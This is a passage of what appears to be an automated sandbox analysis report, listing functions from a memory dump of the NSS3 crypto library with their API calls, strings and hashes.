misuse, xrefs: 6C614DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C614DCB
invalid, xrefs: 6C614DB8
API call with %s database connection pointer, xrefs: 6C614DBD

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: f0c52f9d5550dfcec88b9a5700c36c59c8e20d6e502017896679c8dbb4e46828
Instruction ID: adf334412f1998ee9707b81b63da3690bf2f1b96a2a804896fdbc085aa65f63d
Opcode Fuzzy Hash: f0c52f9d5550dfcec88b9a5700c36c59c8e20d6e502017896679c8dbb4e46828
Instruction Fuzzy Hash: A5F0E911F285646BDF104119DC21FE637D55F0131EF560DB0FD146BEA2D246985086ED

Function 6C614DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C614E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C614E4D

Strings

%s at line %d of [%.10s], xrefs: 6C614E47
misuse, xrefs: 6C614E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C614E38
invalid, xrefs: 6C614E25
API call with %s database connection pointer, xrefs: 6C614E2A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: add8f75b141ba26897aa11559eb8bb013cbc0c62a07a0a83319a4de63563bfff
Instruction ID: b842abf41fae852e33be064c25c314667b113aecc97fde40e37cbe3e60fda5e2
Opcode Fuzzy Hash: add8f75b141ba26897aa11559eb8bb013cbc0c62a07a0a83319a4de63563bfff
Instruction Fuzzy Hash: 4FF02711F4C9282BEA204329DC10FE73B965B0172FF0948A1EA1867E92D646986346FD

Function 6C580C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C581444,?,00000001,?,00000000,00000000,?,?,6C581444,?,?,00000000,?,?), ref: 6C580CB3

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C581444,?,00000001,?,00000000,00000000,?,?,6C581444,?), ref: 6C580DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C581444,?,00000001,?,00000000,00000000,?,?,6C581444,?), ref: 6C580DEC

Part of subcall function 6C5A0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C542AF5,?,?,?,?,?,6C540A1B,00000000), ref: 6C5A0F1A
Part of subcall function 6C5A0F10: malloc.MOZGLUE(00000001), ref: 6C5A0F30
Part of subcall function 6C5A0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C5A0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C581444,?,00000001,?,00000000,00000000,?), ref: 6C580DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C581444,?,00000001,?,00000000), ref: 6C580E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C581444,?,00000001,?,00000000,00000000,?), ref: 6C580E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C581444,?,00000001,?,00000000,00000000,?,?,6C581444,?,?,00000000), ref: 6C580E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C581444,?,00000001,?,00000000,00000000,?), ref: 6C580E79

Part of subcall function 6C591560: TlsGetValue.KERNEL32(00000000,?,6C560844,?), ref: 6C59157A
Part of subcall function 6C591560: EnterCriticalSection.KERNEL32(?,?,?,6C560844,?), ref: 6C59158F
Part of subcall function 6C591560: PR_Unlock.NSS3(?,?,?,?,6C560844,?), ref: 6C5915B2

Part of subcall function 6C55B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C561397,00000000,?,6C55CF93,5B5F5EC0,00000000,?,6C561397,?), ref: 6C55B1CB
Part of subcall function 6C55B1A0: free.MOZGLUE(5B5F5EC0,?,6C55CF93,5B5F5EC0,00000000,?,6C561397,?), ref: 6C55B1D2

Part of subcall function 6C5589E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C5588AE,-00000008), ref: 6C558A04
Part of subcall function 6C5589E0: EnterCriticalSection.KERNEL32(?), ref: 6C558A15
Part of subcall function 6C5589E0: memset.VCRUNTIME140(6C5588AE,00000000,00000132), ref: 6C558A27
Part of subcall function 6C5589E0: PR_Unlock.NSS3(?), ref: 6C558A35

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 4ab4dadaa5b4cf0fc8bfbf8c7af48b1238270024e72d578c48da8850ce2f4353
Instruction ID: 46b8bff4ee0afac36bd0691c718ce5103172c4cbe7d3429a357243f5770f785e
Opcode Fuzzy Hash: 4ab4dadaa5b4cf0fc8bfbf8c7af48b1238270024e72d578c48da8850ce2f4353
Instruction Fuzzy Hash: 0951B9F5E022109FEB009F65DC81ABF37A89F8521CF550465EC159BB12FB31ED1586A2

Function 6C54E6B0 Relevance: 12.2, APIs: 8, Instructions: 191memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6C5504DC,?,?), ref: 6C54E6C9

Part of subcall function 6C5A14C0: TlsGetValue.KERNEL32 ref: 6C5A14E0
Part of subcall function 6C5A14C0: EnterCriticalSection.KERNEL32 ref: 6C5A14F5
Part of subcall function 6C5A14C0: PR_Unlock.NSS3 ref: 6C5A150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6C5504DC,?,?), ref: 6C54E6D9

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6C5504DC,?,?), ref: 6C54E6F4
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5504DC,?), ref: 6C54E703

Part of subcall function 6C59BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C54E708,00000000,00000000,00000004,00000000), ref: 6C59BE6A
Part of subcall function 6C59BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5504DC,?), ref: 6C59BE7E
Part of subcall function 6C59BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C59BEC2

CERT_FindCertIssuer.NSS3(?,?,6C5504DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C54E71E

Part of subcall function 6C54C870: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6C542D1A), ref: 6C54C919

Part of subcall function 6C54E5E0: PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6C54E755,00000000,00000004,?,?), ref: 6C54E5F5
Part of subcall function 6C54E5E0: PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6C54E62C

CERT_DestroyCertificate.NSS3(?), ref: 6C54E8AF

Part of subcall function 6C54E5E0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6C54E63E
Part of subcall function 6C54E5E0: PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6C54E65C
Part of subcall function 6C54E5E0: SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6C54E68E

SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?), ref: 6C54E89E

Part of subcall function 6C59FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C598D2D,?,00000000,?), ref: 6C59FB85
Part of subcall function 6C59FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C59FBB1

CERT_DestroyCertificate.NSS3(?), ref: 6C54E885

Part of subcall function 6C5495B0: TlsGetValue.KERNEL32(00000000,?,6C5600D2,00000000), ref: 6C5495D2
Part of subcall function 6C5495B0: EnterCriticalSection.KERNEL32(?,?,?,6C5600D2,00000000), ref: 6C5495E7
Part of subcall function 6C5495B0: PR_Unlock.NSS3(?,?,?,?,6C5600D2,00000000), ref: 6C549605

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$ArenaItem_$Value$CopyCriticalEnterSectionUnlock$Alloc_CertificateDestroyErrorFindMark_$AlgorithmAllocAllocateCertHashIssuerK11_Tag_Zfreememcpymemset
String ID:
API String ID: 27740541-0
Opcode ID: 4251af70e91363d578042ca5b4fbe332a234d1a0275e335c745e088ccf1ac05b
Instruction ID: 5d079385daddd4c27f1bcf23f737570557371fe611b3d151b913211eeb7dbe80
Opcode Fuzzy Hash: 4251af70e91363d578042ca5b4fbe332a234d1a0275e335c745e088ccf1ac05b
Instruction Fuzzy Hash: 3E619DB5D006099BEB08DF54CC41AFEB7B8EF59304F048269E9156A742FB759A05CBE0

Function 6C536E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C536ED8
sqlite3_value_text.NSS3(?,?), ref: 6C536EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C536FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C536FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C536FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C537010
sqlite3_value_blob.NSS3(?,?), ref: 6C53701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C537052

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: a08d45dd676411615264de766f9ac570980249bf8b804adf29933fa9a8d91be8
Instruction ID: 95352d0ee86939e4aad7bed46b41ece8a36837b978c44741628001ffa40b08fe
Opcode Fuzzy Hash: a08d45dd676411615264de766f9ac570980249bf8b804adf29933fa9a8d91be8
Instruction Fuzzy Hash: A161C2B1E1422ACBDB00CBA4CD507EEB7B2BF85308F285168D418AB755FB359C15CBA5

Function 6C58CA30 Relevance: 12.2, APIs: 8, Instructions: 174COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C58CA95
EnterCriticalSection.KERNEL32(00000000), ref: 6C58CAA9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6C58C8CF,?,?,?), ref: 6C58CAE7
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C58CB09
PK11_GetBlockSize.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?,6C58C8CF,?,?,?), ref: 6C58CB31

Part of subcall function 6C581490: PORT_Alloc_Util.NSS3(0000000C,?,?,?,?,6C58CB40,?,00000000), ref: 6C5814A1
Part of subcall function 6C581490: PORT_ZAlloc_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6C58C8CF,?), ref: 6C5814C7
Part of subcall function 6C581490: memset.VCRUNTIME140(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5814E4
Part of subcall function 6C581490: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6C5814F5

PR_Unlock.NSS3(?), ref: 6C58CB97
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C58CBB2
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C58C8CF), ref: 6C58CBE2

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: UnlockUtil$Alloc_$BlockCriticalEnterErrorItem_K11_SectionSizeValueZfreememcpymemset
String ID:
API String ID: 2753656479-0
Opcode ID: 220f07858ee442f996158766e0ab8dc7eb615425e58917602957f7ef675a087d
Instruction ID: 86d8b6b6fbc4e4c6de937ff9f55addfb7ac2aba4bc44d32309363d073b74f8eb
Opcode Fuzzy Hash: 220f07858ee442f996158766e0ab8dc7eb615425e58917602957f7ef675a087d
Instruction Fuzzy Hash: C7515C71E011199BDB00EFA9DC80AEEBBB4BF49318F144224E815A7711E735ED54CBA1

Function 6C5A8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C5A7313), ref: 6C5A8FBB

Part of subcall function 6C5A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C548298,?,?,?,6C53FCE5,?), ref: 6C5A07BF
Part of subcall function 6C5A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5A07E6
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A081B
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C5A7313), ref: 6C5A9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C5A7313), ref: 6C5A903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C5A7313), ref: 6C5A909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C5A7313), ref: 6C5A90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C5A7313), ref: 6C5A90F1

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C5A7313), ref: 6C5A906B

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C5A7313), ref: 6C5A9128

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: afa5549663317cfcf20691bf4ba320de79920791824eb3c74376a3f26b202b11
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: DC519175A002218FEB10DFABDC44B2AB3F5BF84358F154429D925D7B61EB32E806CB91

Function 6C5AC6E0 Relevance: 12.1, APIs: 8, Instructions: 149COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,?,?,?,6C5A71CF,?), ref: 6C5AC70F

Part of subcall function 6C5A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C548298,?,?,?,6C53FCE5,?), ref: 6C5A07BF
Part of subcall function 6C5A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5A07E6
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A081B
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A0825

CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C5A71CF,?), ref: 6C5AC7B1

Part of subcall function 6C5495B0: TlsGetValue.KERNEL32(00000000,?,6C5600D2,00000000), ref: 6C5495D2
Part of subcall function 6C5495B0: EnterCriticalSection.KERNEL32(?,?,?,6C5600D2,00000000), ref: 6C5495E7
Part of subcall function 6C5495B0: PR_Unlock.NSS3(?,?,?,?,6C5600D2,00000000), ref: 6C549605

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6C5A71CF,?), ref: 6C5AC7D5
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C5A71CF,?), ref: 6C5AC811
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C5A71CF,?), ref: 6C5AC841
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5AC855
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6C5A71CF,?), ref: 6C5AC868

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena_CertificateDestroyFree$ErrorHashLookupTable$ConstCriticalEnterFindSectionUnlockValue
String ID:
API String ID: 1768726504-0
Opcode ID: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction ID: 8451f48c32b55bbe252c9ff561105489f76c783540d83da373a26411c873bf92
Opcode Fuzzy Hash: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction Fuzzy Hash: 9E419175E01202CBEB04EE97DC80B5A73E9BF05758B294568DC19DBB12E772F802C790

Function 6C592470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C592D7C,6C569192,?), ref: 6C59248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6C5924A2
memset.VCRUNTIME140(6C592D7C,00000020,6C592D5C), ref: 6C59250E
memset.VCRUNTIME140(6C592D9C,00000020,6C592D7C), ref: 6C592535
memset.VCRUNTIME140(?,00000020,?), ref: 6C59255C
memset.VCRUNTIME140(?,00000020,?), ref: 6C592583
PR_Unlock.NSS3(?), ref: 6C592594
PR_SetError.NSS3(00000000,00000000), ref: 6C5925AF

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: 1f597d9fe1d15dcbf970418e3b30c4aaadc220859c3358b81e0d2f921b1e24cd
Instruction ID: 5e16bd494324d1d6ea331039c3ecc5acbdc9a7234fd27302ecf92a72676f0aca
Opcode Fuzzy Hash: 1f597d9fe1d15dcbf970418e3b30c4aaadc220859c3358b81e0d2f921b1e24cd
Instruction Fuzzy Hash: F64116B1E003819BEB009F74DC987A93774FB99308F2416A8EC05DBA52F771E984C691

Function 6C5905A0 Relevance: 12.1, APIs: 8, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000), ref: 6C5905DA

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

TlsGetValue.KERNEL32(00000000), ref: 6C59060C
EnterCriticalSection.KERNEL32 ref: 6C590629
TlsGetValue.KERNEL32(00000000), ref: 6C59066F
EnterCriticalSection.KERNEL32 ref: 6C59068C
PR_Unlock.NSS3 ref: 6C5906AA
PK11_GetNextSafe.NSS3 ref: 6C5906C3
PR_Unlock.NSS3 ref: 6C5906F9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

